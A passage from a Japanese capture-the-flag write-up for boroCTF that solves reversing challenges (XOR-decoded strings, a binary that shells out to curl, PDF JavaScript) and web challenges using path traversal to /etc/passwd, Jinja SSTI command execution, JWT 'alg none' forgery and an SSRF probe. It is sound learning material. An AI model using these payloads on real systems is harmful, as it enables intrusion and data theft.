  local_a8[0xe] = 0xd4;
  local_a8[0xf] = 0xa0;
  local_a8[0x10] = 0x8b;
  local_a8[0x11] = 0xb7;
  local_a8[0x12] = 0xcc;
  local_a8[0x13] = 0xa0;
  local_a8[0x14] = 0xb9;
  local_a8[0x15] = 0xb3;
  local_a8[0x16] = 0xbf;
  local_a8[0x17] = 0x98;
  local_a8[0x18] = 0x82;
  printf("> ");
  __isoc99_scanf(&DAT_00102007,local_38);
  bVar1 = true;
  for (local_b0 = 0; local_b0 < 0x19; local_b0 = local_b0 + 1) {
    if ((int)local_38[local_b0] != (~local_a8[local_b0] & 0xff)) {
      bVar1 = false;
    }
  }
  if (!bVar1) {
    puts("Incorrect flag.");
  }
  else {
    puts("Correct flag!");
  }
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return !bVar1;
}

local_a8以降をビット反転すればよい。

>>> s = [0x9d, 0x90, 0x8d, 0x90, 0xbc, 0xab, 0xb9, 0x84, 0xb1, 0xcf, 0x8b, 0xa0, 0x91, 0xb0, 0xd4, 0xa0, 0x8b, 0xb7, 0xcc, 0xa0, 0xb9, 0xb3, 0xbf, 0x98, 0x82]
>>> ''.join([chr(c ^ 0xff) for c in s])
'boroCTF{N0t_nO+_tH3_FL@g}'
boroCTF{N0t_nO+_tH3_FL@g}

Cat in the ... Box? (Rev 200)

Ghidraでデコンパイルする。

undefined8 FUN_00101309(undefined8 param_1,sockaddr *param_2)

{
  int iVar1;
  undefined4 extraout_var;
  undefined8 uVar2;
  uint local_14;
  long local_10;
  
  local_14 = 0;
  while ((((int)local_14 < 0 || ((int)local_14 % 0xe != 1)) || ((int)local_14 % 3 != 2))) {
    local_14 = local_14 + 1;
    if (0x31 < local_14) {
LAB_001013e1:
      uVar2 = FUN_0010140b(local_10);
      printf("%s",uVar2);
      return 0;
    }
  }
  iVar1 = connect((int)(&PTR_s_a1b2c3_00104020)[(int)local_14],param_2,local_14 * 8);
  local_10 = CONCAT44(extraout_var,iVar1);
  if (local_10 == 0) {
    fwrite("Binary no reponse. Try again in a moment.\n",1,0x2a,stderr);
    return 1;
  }
  goto LAB_001013e1;
}

int connect(int __fd,sockaddr *__addr,socklen_t __len)

{
  byte bVar1;
  size_t sVar2;
  FILE *pFVar3;
  undefined4 in_register_0000003c;
  char *__s;
  long in_FS_OFFSET;
  ulong local_2b0;
  char local_2a8 [128];
  byte local_228 [25];
  undefined1 local_20f;
  byte local_1a8 [4];
  undefined1 local_1a4;
  char local_128 [264];
  long local_20;
  
  __s = (char *)CONCAT44(in_register_0000003c,__fd);
  local_20 = *(long *)(in_FS_OFFSET + 0x28);
  for (local_2b0 = 0; local_2b0 < 0x19; local_2b0 = local_2b0 + 1) {
    bVar1 = (&DAT_00102010)[local_2b0];
    sVar2 = strlen(__s);
    local_228[local_2b0] = bVar1 ^ __s[local_2b0 % sVar2];
  }
  local_20f = 0;
  for (local_2b0 = 0; local_2b0 < 4; local_2b0 = local_2b0 + 1) {
    bVar1 = (&DAT_00102029)[local_2b0];
    sVar2 = strlen(__s);
    local_1a8[local_2b0] = bVar1 ^ __s[local_2b0 % sVar2];
  }
  local_1a4 = 0;
  tmpnam(local_2a8);
  strncpy(&DAT_001041e0,local_2a8,0x7f);
  DAT_0010425f = 0;
  local_128[0] = '\0';
  local_128[1] = '\0';
  local_128[2] = '\0';
  local_128[3] = '\0';
  local_128[4] = '\0';
  local_128[5] = '\0';
  local_128[6] = '\0';
  local_128[7] = '\0';
  local_128[8] = '\0';
  local_128[9] = '\0';
  local_128[10] = '\0';
  local_128[0xb] = '\0';
  local_128[0xc] = '\0';
  local_128[0xd] = '\0';
  local_128[0xe] = '\0';
  local_128[0xf] = '\0';
  local_128[0x10] = '\0';
  local_128[0x11] = '\0';
  local_128[0x12] = '\0';
  local_128[0x13] = '\0';
  local_128[0x14] = '\0';
  local_128[0x15] = '\0';
  local_128[0x16] = '\0';
  local_128[0x17] = '\0';
  local_128[0x18] = '\0';
  local_128[0x19] = '\0';
  local_128[0x1a] = '\0';
  local_128[0x1b] = '\0';
  local_128[0x1c] = '\0';
  local_128[0x1d] = '\0';
  local_128[0x1e] = '\0';
  local_128[0x1f] = '\0';
  local_128[0x20] = '\0';
  local_128[0x21] = '\0';
  local_128[0x22] = '\0';
  local_128[0x23] = '\0';
  local_128[0x24] = '\0';
  local_128[0x25] = '\0';
  local_128[0x26] = '\0';
  local_128[0x27] = '\0';
  local_128[0x28] = '\0';
  local_128[0x29] = '\0';
  local_128[0x2a] = '\0';
  local_128[0x2b] = '\0';
  local_128[0x2c] = '\0';
  local_128[0x2d] = '\0';
  local_128[0x2e] = '\0';
  local_128[0x2f] = '\0';
  local_128[0x30] = '\0';
  local_128[0x31] = '\0';
  local_128[0x32] = '\0';
  local_128[0x33] = '\0';
  local_128[0x34] = '\0';
  local_128[0x35] = '\0';
  local_128[0x36] = '\0';
  local_128[0x37] = '\0';
  local_128[0x38] = '\0';
  local_128[0x39] = '\0';
  local_128[0x3a] = '\0';
  local_128[0x3b] = '\0';
  local_128[0x3c] = '\0';
  local_128[0x3d] = '\0';
  local_128[0x3e] = '\0';
  local_128[0x3f] = '\0';
  local_128[0x40] = '\0';
  local_128[0x41] = '\0';
  local_128[0x42] = '\0';
  local_128[0x43] = '\0';
  local_128[0x44] = '\0';
  local_128[0x45] = '\0';
  local_128[0x46] = '\0';
  local_128[0x47] = '\0';
  local_128[0x48] = '\0';
  local_128[0x49] = '\0';
  local_128[0x4a] = '\0';
  local_128[0x4b] = '\0';
  local_128[0x4c] = '\0';
  local_128[0x4d] = '\0';
  local_128[0x4e] = '\0';
  local_128[0x4f] = '\0';
  local_128[0x50] = '\0';
  local_128[0x51] = '\0';
  local_128[0x52] = '\0';
  local_128[0x53] = '\0';
  local_128[0x54] = '\0';
  local_128[0x55] = '\0';
  local_128[0x56] = '\0';
  local_128[0x57] = '\0';
  local_128[0x58] = '\0';
  local_128[0x59] = '\0';
  local_128[0x5a] = '\0';
  local_128[0x5b] = '\0';
  local_128[0x5c] = '\0';
  local_128[0x5d] = '\0';
  local_128[0x5e] = '\0';
  local_128[0x5f] = '\0';
  local_128[0x60] = '\0';
  local_128[0x61] = '\0';
  local_128[0x62] = '\0';
  local_128[99] = '\0';
  local_128[100] = '\0';
  local_128[0x65] = '\0';
  local_128[0x66] = '\0';
  local_128[0x67] = '\0';
  local_128[0x68] = '\0';
  local_128[0x69] = '\0';
  local_128[0x6a] = '\0';
  local_128[0x6b] = '\0';
  local_128[0x6c] = '\0';
  local_128[0x6d] = '\0';
  local_128[0x6e] = '\0';
  local_128[0x6f] = '\0';
  local_128[0x70] = '\0';
  local_128[0x71] = '\0';
  local_128[0x72] = '\0';
  local_128[0x73] = '\0';
  local_128[0x74] = '\0';
  local_128[0x75] = '\0';
  local_128[0x76] = '\0';
  local_128[0x77] = '\0';
  local_128[0x78] = '\0';
  local_128[0x79] = '\0';
  local_128[0x7a] = '\0';
  local_128[0x7b] = '\0';
  local_128[0x7c] = '\0';
  local_128[0x7d] = '\0';
  local_128[0x7e] = '\0';
  local_128[0x7f] = '\0';
  local_128[0x80] = '\0';
  local_128[0x81] = '\0';
  local_128[0x82] = '\0';
  local_128[0x83] = '\0';
  local_128[0x84] = '\0';
  local_128[0x85] = '\0';
  local_128[0x86] = '\0';
  local_128[0x87] = '\0';
  local_128[0x88] = '\0';
  local_128[0x89] = '\0';
  local_128[0x8a] = '\0';
  local_128[0x8b] = '\0';
  local_128[0x8c] = '\0';
  local_128[0x8d] = '\0';
  local_128[0x8e] = '\0';
  local_128[0x8f] = '\0';
  local_128[0x90] = '\0';
  local_128[0x91] = '\0';
  local_128[0x92] = '\0';
  local_128[0x93] = '\0';
  local_128[0x94] = '\0';
  local_128[0x95] = '\0';
  local_128[0x96] = '\0';
  local_128[0x97] = '\0';
  local_128[0x98] = '\0';
  local_128[0x99] = '\0';
  local_128[0x9a] = '\0';
  local_128[0x9b] = '\0';
  local_128[0x9c] = '\0';
  local_128[0x9d] = '\0';
  local_128[0x9e] = '\0';
  local_128[0x9f] = '\0';
  local_128[0xa0] = '\0';
  local_128[0xa1] = '\0';
  local_128[0xa2] = '\0';
  local_128[0xa3] = '\0';
  local_128[0xa4] = '\0';
  local_128[0xa5] = '\0';
  local_128[0xa6] = '\0';
  local_128[0xa7] = '\0';
  local_128[0xa8] = '\0';
  local_128[0xa9] = '\0';
  local_128[0xaa] = '\0';
  local_128[0xab] = '\0';
  local_128[0xac] = '\0';
  local_128[0xad] = '\0';
  local_128[0xae] = '\0';
  local_128[0xaf] = '\0';
  local_128[0xb0] = '\0';
  local_128[0xb1] = '\0';
  local_128[0xb2] = '\0';
  local_128[0xb3] = '\0';
  local_128[0xb4] = '\0';
  local_128[0xb5] = '\0';
  local_128[0xb6] = '\0';
  local_128[0xb7] = '\0';
  local_128[0xb8] = '\0';
  local_128[0xb9] = '\0';
  local_128[0xba] = '\0';
  local_128[0xbb] = '\0';
  local_128[0xbc] = '\0';
  local_128[0xbd] = '\0';
  local_128[0xbe] = '\0';
  local_128[0xbf] = '\0';
  local_128[0xc0] = '\0';
  local_128[0xc1] = '\0';
  local_128[0xc2] = '\0';
  local_128[0xc3] = '\0';
  local_128[0xc4] = '\0';
  local_128[0xc5] = '\0';
  local_128[0xc6] = '\0';
  local_128[199] = '\0';
  local_128[200] = '\0';
  local_128[0xc9] = '\0';
  local_128[0xca] = '\0';
  local_128[0xcb] = '\0';
  local_128[0xcc] = '\0';
  local_128[0xcd] = '\0';
  local_128[0xce] = '\0';
  local_128[0xcf] = '\0';
  local_128[0xd0] = '\0';
  local_128[0xd1] = '\0';
  local_128[0xd2] = '\0';
  local_128[0xd3] = '\0';
  local_128[0xd4] = '\0';
  local_128[0xd5] = '\0';
  local_128[0xd6] = '\0';
  local_128[0xd7] = '\0';
  local_128[0xd8] = '\0';
  local_128[0xd9] = '\0';
  local_128[0xda] = '\0';
  local_128[0xdb] = '\0';
  local_128[0xdc] = '\0';
  local_128[0xdd] = '\0';
  local_128[0xde] = '\0';
  local_128[0xdf] = '\0';
  local_128[0xe0] = '\0';
  local_128[0xe1] = '\0';
  local_128[0xe2] = '\0';
  local_128[0xe3] = '\0';
  local_128[0xe4] = '\0';
  local_128[0xe5] = '\0';
  local_128[0xe6] = '\0';
  local_128[0xe7] = '\0';
  local_128[0xe8] = '\0';
  local_128[0xe9] = '\0';
  local_128[0xea] = '\0';
  local_128[0xeb] = '\0';
  local_128[0xec] = '\0';
  local_128[0xed] = '\0';
  local_128[0xee] = '\0';
  local_128[0xef] = '\0';
  local_128[0xf0] = '\0';
  local_128[0xf1] = '\0';
  local_128[0xf2] = '\0';
  local_128[0xf3] = '\0';
  local_128[0xf4] = '\0';
  local_128[0xf5] = '\0';
  local_128[0xf6] = '\0';
  local_128[0xf7] = '\0';
  local_128[0xf8] = '\0';
  local_128[0xf9] = '\0';
  local_128[0xfa] = '\0';
  local_128[0xfb] = '\0';
  local_128[0xfc] = '\0';
  local_128[0xfd] = '\0';
  local_128[0xfe] = '\0';
  local_128[0xff] = '\0';
  snprintf(local_128,0x100,"curl -s -o \"%s\" \"%s%s%s\"",&DAT_001041e0,local_228,__s,local_1a8);
  system(local_128);
  pFVar3 = fopen(&DAT_001041e0,"r");
  if (local_20 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return (int)pFVar3;
}

                             DAT_00102010                                    XREF[2]:     connect:00101550(*), 
                                                                                          connect:00101561(*)  
        00102010 11              ??         11h
        00102011 19              ??         19h
        00102012 03              ??         03h
        00102013 15              ??         15h
        00102014 0a              ??         0Ah
        00102015 59              ??         59h    Y
        00102016 56              ??         56h    V
        00102017 42              ??         42h    B
        00102018 11              ??         11h
        00102019 0c              ??         0Ch
        0010201a 15              ??         15h
        0010201b 06              ??         06h
        0010201c 0a              ??         0Ah
        0010201d 43              ??         43h    C
        0010201e 14              ??         14h
        0010201f 04              ??         04h
        00102020 0d              ??         0Dh
        00102021 01              ??         01h
        00102022 16              ??         16h
        00102023 15              ??         15h
        00102024 59              ??         59h    Y
        00102025 08              ??         08h
        00102026 16              ??         16h
        00102027 06              ??         06h
        00102028 56              ??         56h    V


                             DAT_00102029                                    XREF[2]:     connect:001015d7(*), 
                                                                                          connect:001015e8(*)  
        00102029 57              ??         57h    W
        0010202a 19              ??         19h
        0010202b 0f              ??         0Fh
        0010202c 11              ??         11h


                             PTR_s_a1b2c3_00104020                           XREF[2]:     FUN_00101309:00101386(*), 
                                                                                          FUN_00101309:0010138d(*)  
        00104020 2d 20 10        addr       s_a1b2c3_0010202d                                = "a1b2c3"
                 00 00 00 
                 00 00

                             s_a1b2c3_0010202d                               XREF[1]:     00104020(*)  
        0010202d 61 31 62        ds         "a1b2c3"
                 32 63 33 00
                             s_x7y8z9_00102034                               XREF[1]:     00104028(*)  
        00102034 78 37 79        ds         "x7y8z9"
                 38 7a 39 00
                             s_q1w2e3_0010203b                               XREF[1]:     00104030(*)  
        0010203b 71 31 77        ds         "q1w2e3"
                 32 65 33 00
                             s_r4t5y6_00102042                               XREF[1]:     00104038(*)  
        00102042 72 34 74        ds         "r4t5y6"
                 35 79 36 00
                             s_z9y8x7_00102049                               XREF[1]:     00104040(*)  
        00102049 7a 39 79        ds         "z9y8x7"
                 38 78 37 00
                             s_p4ssw0_00102050                               XREF[1]:     00104048(*)  
        00102050 70 34 73        ds         "p4ssw0"
                 73 77 30 00
                             s_9m8n7b_00102057                               XREF[1]:     00104050(*)  
        00102057 39 6d 38        ds         "9m8n7b"
                 6e 37 62 00
                             s_v3r1fy_0010205e                               XREF[1]:     00104058(*)  
        0010205e 76 33 72        ds         "v3r1fy"
                 31 66 79 00
                             s_t3st12_00102065                               XREF[1]:     00104060(*)  
        00102065 74 33 73        ds         "t3st12"
                 74 31 32 00
                             s_85u4rm_0010206c                               XREF[1]:     00104068(*)  
        0010206c 38 35 75        ds         "85u4rm"
                 34 72 6d 00
                             s_lmnopq_00102073                               XREF[1]:     00104070(*)  
        00102073 6c 6d 6e        ds         "lmnopq"
                 6f 70 71 00
                             s_abc123_0010207a                               XREF[1]:     00104078(*)  
        0010207a 61 62 63        ds         "abc123"
                 31 32 33 00
                             s_qwerty_00102081                               XREF[1]:     00104080(*)  
        00102081 71 77 65        ds         "qwerty"
                 72 74 79 00
                             s_zxcvbn_00102088                               XREF[1]:     00104088(*)  
        00102088 7a 78 63        ds         "zxcvbn"
                 76 62 6e 00
                             s_nm7k3l_0010208f                               XREF[1]:     00104090(*)  
        0010208f 6e 6d 37        ds         "nm7k3l"
                 6b 33 6c 00
                             s_g5h6j7_00102096                               XREF[1]:     00104098(*)  
        00102096 67 35 68        ds         "g5h6j7"
                 36 6a 37 00
                             s_s4m2pl_0010209d                               XREF[1]:     001040a0(*)  
        0010209d 73 34 6d        ds         "s4m2pl"
                 32 70 6c 00
                             s_r2nd0m_001020a4                               XREF[1]:     001040a8(*)  
        001020a4 72 32 6e        ds         "r2nd0m"
                 64 30 6d 00
                             s_b7g6h5_001020ab                               XREF[1]:     001040b0(*)  
        001020ab 62 37 67        ds         "b7g6h5"
                 36 68 35 00
                             s_k1l2m3_001020b2                               XREF[1]:     001040b8(*)  
        001020b2 6b 31 6c        ds         "k1l2m3"
                 32 6d 33 00
                             s_7h8g6f_001020b9                               XREF[1]:     001040c0(*)  
        001020b9 37 68 38        ds         "7h8g6f"
                 67 36 66 00
                             s_j3k4l5_001020c0                               XREF[1]:     001040c8(*)  
        001020c0 6a 33 6b        ds         "j3k4l5"
                 34 6c 35 00
                             s_h4x0r1_001020c7                               XREF[1]:     001040d0(*)  
        001020c7 68 34 78        ds         "h4x0r1"
                 30 72 31 00
                             s_w1n2g3_001020ce                               XREF[1]:     001040d8(*)  
        001020ce 77 31 6e        ds         "w1n2g3"
                 32 67 33 00
                             s_y6t5r4_001020d5                               XREF[1]:     001040e0(*)  
        001020d5 79 36 74        ds         "y6t5r4"
                 35 72 34 00
                             s_u7i8o9_001020dc                               XREF[1]:     001040e8(*)  
        001020dc 75 37 69        ds         "u7i8o9"
                 38 6f 39 00
                             s_o9p8l7_001020e3                               XREF[1]:     001040f0(*)  
        001020e3 6f 39 70        ds         "o9p8l7"
                 38 6c 37 00
                             s_e3r4t5_001020ea                               XREF[1]:     001040f8(*)  
        001020ea 65 33 72        ds         "e3r4t5"
                 34 74 35 00
                             s_n0p9q8_001020f1                               XREF[1]:     00104100(*)  
        001020f1 6e 30 70        ds         "n0p9q8"
                 39 71 38 00
                             s_ymweyc_001020f8                               XREF[1]:     00104108(*)  
        001020f8 79 6d 77        ds         "ymweyc"
                 65 79 63 00
                             s_m5n6b7_001020ff                               XREF[1]:     00104110(*)  
        001020ff 6d 35 6e        ds         "m5n6b7"
                 36 62 37 00
                             s_f2g3h4_00102106                               XREF[1]:     00104118(*)  
        00102106 66 32 67        ds         "f2g3h4"
                 33 68 34 00
                             s_d8c7b6_0010210d                               XREF[1]:     00104120(*)  
        0010210d 64 38 63        ds         "d8c7b6"
                 37 62 36 00
                             s_s1a2m3_00102114                               XREF[1]:     00104128(*)  
        00102114 73 31 61        ds         "s1a2m3"
                 32 6d 33 00
                             s_t0r9q8_0010211b                               XREF[1]:     00104130(*)  
        0010211b 74 30 72        ds         "t0r9q8"
                 39 71 38 00
                             s_p9o8i7_00102122                               XREF[1]:     00104138(*)  
        00102122 70 39 6f        ds         "p9o8i7"
                 38 69 37 00
                             s_z1x2c3_00102129                               XREF[1]:     00104140(*)  
        00102129 7a 31 78        ds         "z1x2c3"
                 32 63 33 00
                             s_v0b9n8_00102130                               XREF[1]:     00104148(*)  
        00102130 76 30 62        ds         "v0b9n8"
                 39 6e 38 00
                             s_l3k2j1_00102137                               XREF[1]:     00104150(*)  
        00102137 6c 33 6b        ds         "l3k2j1"
                 32 6a 31 00
                             s_i7u6y5_0010213e                               XREF[1]:     00104158(*)  
        0010213e 69 37 75        ds         "i7u6y5"
                 36 79 35 00
                             s_o5p4i3_00102145                               XREF[1]:     00104160(*)  
        00102145 6f 35 70        ds         "o5p4i3"
                 34 69 33 00
                             s_h6g5f4_0010214c                               XREF[1]:     00104168(*)  
        0010214c 68 36 67        ds         "h6g5f4"
                 35 66 34 00
                             s_e1w2q3_00102153                               XREF[1]:     00104170(*)  
        00102153 65 31 77        ds         "e1w2q3"
                 32 71 33 00
                             s_r8t7y6_0010215a                               XREF[1]:     00104178(*)  
        0010215a 72 38 74        ds         "r8t7y6"
                 37 79 36 00
                             s_s9d8f7_00102161                               XREF[1]:     00104180(*)  
        00102161 73 39 64        ds         "s9d8f7"
                 38 66 37 00
                             s_g4h3j2_00102168                               XREF[1]:     00104188(*)  
        00102168 67 34 68        ds         "g4h3j2"
                 33 6a 32 00
                             s_p0u9l8_0010216f                               XREF[1]:     00104190(*)  
        0010216f 70 30 75        ds         "p0u9l8"
                 39 6c 38 00
                             s_b2n3m4_00102176                               XREF[1]:     00104198(*)  
        00102176 62 32 6e        ds         "b2n3m4"
                 33 6d 34 00
                             s_golden_0010217d                               XREF[1]:     001041a0(*)  
        0010217d 67 6f 6c        ds         "golden"
                 64 65 6e 00
                             s_silver_00102184                               XREF[1]:     001041a8(*)  
        00102184 73 69 6c        ds         "silver"
                 76 65 72 00

FUN_00101309内のlocal_14は14で割って1余り、3で割って2余る最小の数になる。つまり local14 = 29 となる。
以下のこともわかる。

DAT_00102029[29] = "ymweyc"

DAT_00102010と"ymweyc"をXORし、DAT_00102029と"ymweyc"をXORする。

>>> key = b"ymweyc"
>>> s = [0x11, 0x19, 0x03, 0x15, 0x0a, 0x59, 0x56, 0x42, 0x11, 0x0c, 0x15, 0x06, 0x0a, 0x43, 0x14, 0x04, 0x0d, 0x01, 0x16, 0x15, 0x59, 0x08, 0x16, 0x06, 0x56]
>>> ''.join([chr(s[i] ^ key[i % len(key)]) for i in range(len(s))])
'https://files.catbox.moe/'
>>> s = [0x57, 0x19, 0x0f, 0x11]
>>> ''.join([chr(s[i] ^ key[i % len(key)]) for i in range(len(s))])
'.txt'

以上を元にcurlでアクセスしてみる。

$ curl -s https://files.catbox.moe/ymweyc.txt
The cat wispers the flag to you ...
Segmentation fault (core dumped)

-----------------
SUPER SECRET AREA
-----------------
Yeah, I hardcoded the segfault.
Here's your real flag: boroCTF{lEts_gO_B3y0nd_b1nar1e$}
boroCTF{lEts_gO_B3y0nd_b1nar1e$}

Perfectly Destructive File (Rev 200)

$ file financial_report
financial_report: PDF document, version 1.5
$ mv financial_report financial_report.pdf

PDF Stream Dumperで見ると、以下のスクリプト部分が含まれていることがわかる。

2 0 3 44 4 68 5 531 6 668 7 971 8 1017
<< /Count 1 /Kids [ 8 0 R ] /Type /Pages >>
<< /Producer (pypdf) >>
<< /JS (\n    var a = 7;\n    var b = 13;\n    var c = a * b;\n    var d = c - a;\n    var e = [a, b, c, d];\n    var f = "noise";\n    var g = "more_noise";\n    var h = e.join\("-"\);\n    var i = h.length;\n    var j = i ^ 42;\n    var k = [f, g, h, j];\n    var l = k.slice\(0, 3\).join\("|"\);\n\n    var encoded = "Ym9yb0NURnswbjFfRiFsZV9JNV9AMTFfaXRfdEFrZSR9";\n    var decoded = util.printd\("yyyy", new Date\(\)\);\n    ) /S /JavaScript /Type /Action >>
<< /AcroForm 7 0 R /Names << /JavaScript << /Names [ (bff75b6b-cce0-4686-9186-f02cc0fa0b36) 4 0 R ] >> >> /Pages 2 0 R /Type /Catalog >>
<< /AA << /U << /JS (app.alert\({cMsg:"Ya, I'm not making it that easy.", nIcon:3, cTitle:"boroCTF 2026"}\);) /S /JavaScript >> >> /BS << /S /S /W 1 >> /F 4 /FT /Btn /Ff 65536 /MK << /CA (Click me for free flag!) >> /P 8 0 R /Rect [ 140 320 360 360 ] /Subtype /Widget /T (hacked_button) /Type /Annot >>
<< /Fields [ 6 0 R ] /NeedAppearances true >>
<< /Annots [ 6 0 R ] /MediaBox [ 0.0 0.0 500 500 ] /Parent 2 0 R /Resources << >> /Type /Page >>

JavaScript部分を整形する。

    var a = 7;
    var b = 13;
    var c = a * b;
    var d = c - a;
    var e = [a, b, c, d];
    var f = "noise";
    var g = "more_noise";
    var h = e.join\("-"\);
    var i = h.length;
    var j = i ^ 42;
    var k = [f, g, h, j];
    var l = k.slice\(0, 3\).join\("|"\);

    var encoded = "Ym9yb0NURnswbjFfRiFsZV9JNV9AMTFfaXRfdEFrZSR9";
    var decoded = util.printd\("yyyy", new Date\(\)\);

encodedにbase64文字列が設定されているので、デコードする。

$ echo Ym9yb0NURnswbjFfRiFsZV9JNV9AMTFfaXRfdEFrZSR9 | base64 -d
boroCTF{0n1_F!le_I5_@11_it_tAke$}
boroCTF{0n1_F!le_I5_@11_it_tAke$}

Beyond the Homepage (Web 100)

HTMLソースを見ると、コメントにフラグが書いてあった。

boroCTF{d3v3l0peR_t001s}

Cracking the Vault (Web 100)

HTMLソースを見るとスクリプトにこう書かれている。

    <script>        
        const correctPassword = "passworduwu";
        
        document.getElementById("vaultForm").addEventListener("submit", function(e) {
            e.preventDefault();
            const input = document.getElementById("passwordInput").value;
            const messageEl = document.getElementById("message");
            
            if (input === correctPassword) {
                messageEl.textContent = "✓ Correct! Flag: boroCTF{th3_p@th_l3ss_tr@vers3d}";
                messageEl.className = "success";
            } else {
                messageEl.textContent = "✗ Wrong password.";
                messageEl.className = "error";
            }
        });
    </script>

フラグが含まれていた。

boroCTF{th3_p@th_l3ss_tr@vers3d}

boro-senpai 1 (Web 100)

掲載されている投稿者名で怪しいのは KuriGohanandKamehameha である。
https://w03xj6cjsucj.boroctf.com/profile/KuriGohanandKamehamehaにアクセスすると、フラグが書いてあった。

boroCTF{3l_psY_c0ngR00!}

dotdotslashflagtxt (Web 100)

https://0gil6sh8nlk1.boroctf.com/view?file=readme.txtとかでファイルが読める。

$ curl https://0gil6sh8nlk1.boroctf.com/view?file=../../etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
appuser:x:1000:1000::/home/appuser:/bin/bash

パストラバーサルが使える。

$ curl https://0gil6sh8nlk1.boroctf.com/view?file=../flag.txt   
boroCTF{p@th_Tr@v3rs@L_r0Ck5!}
boroCTF{p@th_Tr@v3rs@L_r0Ck5!}

Drone Dash (Web 100)

ページにある「INITIATE FLIGHT」をクリックしたら、以下のように表示された。

MISSION ACCOMPLISHED!
boroCTF{pr0totyp3_p0llut10n_dr0ne_d4sh}
boroCTF{pr0totyp3_p0llut10n_dr0ne_d4sh}

NERV (Web 200)

問題文に記載の ikari : eva01 でログインする。
HTMLソースを見ると、以下のコメントが書いてあった。

<!-- NOTE: admin reports endpoint moved — see /admin/reports for full personnel data — katsuragi -->

https://xqpmkotuq78s.boroctf.com/admin/reportsにアクセスする。
以下を入力し、「EXECUTE QUERY」ボタンを押す。

{{7*7}}

この結果49と表示されたので、SSTIができる。

以下を入力してみる。

{{request.application.__globals__.__builtins__.__import__('os').popen('ls -la').read()}}

この結果以下のように表示された。

total 36
drwxr-xr-x 1 appuser appuser 4096 Jun 13 23:42 .
drwxr-xr-x 1 root    root    4096 Jun 11 02:00 ..
-rw-rw-r-- 1 appuser appuser  373 Jun  2 16:16 Dockerfile
-rw-rw-r-- 1 appuser appuser 3688 Jun  2 16:16 README.md
-rw-rw-r-- 1 appuser appuser 3991 Jun  2 16:16 app.py
-rw-rw-r-- 1 appuser appuser  807 Jun  2 16:16 challenge.md
-rw-rw-r-- 1 appuser appuser  161 Jun  2 16:16 docker-compose.yml
-rw-rw-r-- 1 appuser appuser   13 Jun  2 16:16 requirements.txt
drwxrwxr-x 1 appuser appuser 4096 Jun  2 16:16 templates

以下を入力してみる。

{{request.application.__globals__.__builtins__.__import__('os').popen('ls ..').read()}}

この結果以下のように表示された。

app bin boot dev etc flag.txt home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var

以下を入力してみる。

{{request.application.__globals__.__builtins__.__import__('os').popen('cat ../flag.txt').read()}}

この結果フラグが表示された。

boroCTF{c0ngr@tulat!0nS*}

Jay. W. Tee (Web 200)

hoge / fuga でログインしたら、クッキーのtokenに以下が設定されていた。

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImhvZ2UiLCJyb2xlIjoiZ3Vlc3QifQ.PKG53GkstYjMGaENlJP7-Es2qvpy-z4dYeRj6srnGFI
$ echo eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9 | base64 -d
{"alg":"HS256","typ":"JWT"}
$ echo eyJ1c2VybmFtZSI6ImhvZ2UiLCJyb2xlIjoiZ3Vlc3QifQ | base64 -d
{"username":"hoge","role":"guest"}

"alg"を"none"にし、"role"に改ざんし、署名なしで動くか試す。

$ echo -n '{"alg":"none","typ":"JWT"}' | base64
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0=
$ echo -n '{"username":"hoge","role":"admin"}' | base64
eyJ1c2VybmFtZSI6ImhvZ2UiLCJyb2xlIjoiYWRtaW4ifQ==

クッキーのtokenに以下を設定し、リロードする。

eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJ1c2VybmFtZSI6ImhvZ2UiLCJyb2xlIjoiYWRtaW4ifQ.

画面上roleがadminに切り替わったので、/adminをクリックすると、フラグが表示された。

boroCTF{n0_s1gn4tur3_n0_pr0bl3m^^}

boro-senpai 2 (Web 200)

リンクされているscript.jsはこう書いてある。

async function runPulse() {
  const url = urlInput.value.trim();
  if (!url) {
    setOutput('ERROR: No target URL specified.', 'output-error');
    return;
  }

  fireBtn.disabled = true;
  setOutput('// INITIATING PULSE PROBE...\n// ROUTING THROUGH PROXY NODE...', 'output-warn');
  addLog(`Probe dispatched → ${url}`);

  try {
    const res = await fetch('/api/pulse', {
      method: 'POST',
      headers: { 'Content-Type': 'application/json' },
      body: JSON.stringify({ url }),
    });

    const data = await res.json();

    if (!res.ok) {
      const msg = data.error || `HTTP ${res.status}`;
      setOutput(`[!] ${msg}`, 'output-error');
      addLog(`Probe blocked: ${msg}`, 'error');
    } else {
      const banner = `STATUS ${data.status} :: RESPONSE RECEIVED\n${'─'.repeat(52)}\n`;
      setOutput(banner + (data.body || '(empty response)'), 'output-ok');
      addLog(`Probe success — HTTP ${data.status}`, 'ok');
    }
  } catch (err) {
    setOutput(`[!] Network error: ${err.message}`, 'output-error');
    addLog(`Client error: ${err.message}`, 'error');
  } finally {
    fireBtn.disabled = false;
  }
}

/api/pulseにより、内部ホストへのアクセスを試す。

$ curl https://4imc7nitr7ln.boroctf.com/api/pulse -H "Content-Type: application/json" -d '{"url": "http://localhost/flag"}'
